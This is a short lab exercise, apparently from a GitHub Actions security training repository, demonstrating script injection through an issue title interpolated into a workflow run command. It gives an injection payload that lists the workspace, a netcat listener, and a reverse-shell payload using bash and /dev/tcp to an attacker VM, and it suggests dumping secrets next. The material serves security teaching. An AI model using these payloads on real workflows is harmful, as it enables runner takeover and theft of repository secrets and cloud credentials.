Skip to content

Latest commit

 

History

History
19 lines (15 loc) · 1.28 KB

exercise-1.md

File metadata and controls

19 lines (15 loc) · 1.28 KB

Exercise 1 - Script injection in the run command

The Check issue title workflow uses the issue title in the run command as follows:

title="${{ github.event.issue.title }}"

This provides an opportunity for an attacker to exploit the workflow with an issue titled octocat"; ls -l $GITHUB_WORKSPACE". Using this title, the script looks like the following...

title="octocat"; ls -l $GITHUB_WORKSPACE"

Let's create a new issue with this title and see what happens. We observe that the workflow runs the command ls -l $GITHUB_WORKSPACE!

Screenshot 2023-08-30 at 7 38 43 PM

Ok. Big deal. So we were able to see what is in the workspace directory. Who cares?
Now let's try something a little more sinister... Spin up a linux vm in the cloud that has a public IP address. Login and run nc -nvlp 1337. Then open a new issue with the title octocat"; bash -i >& /dev/tcp/<YOUR-VM-IP-ADDRESS>/1337 0>&1 ; ls -l $GITHUB_WORKSPACE"

Now I have a shell on the runner! This is a great "foot in the door" from which I can attemp other exploits, like dumping secrets or cloud credentials to use in other attacks.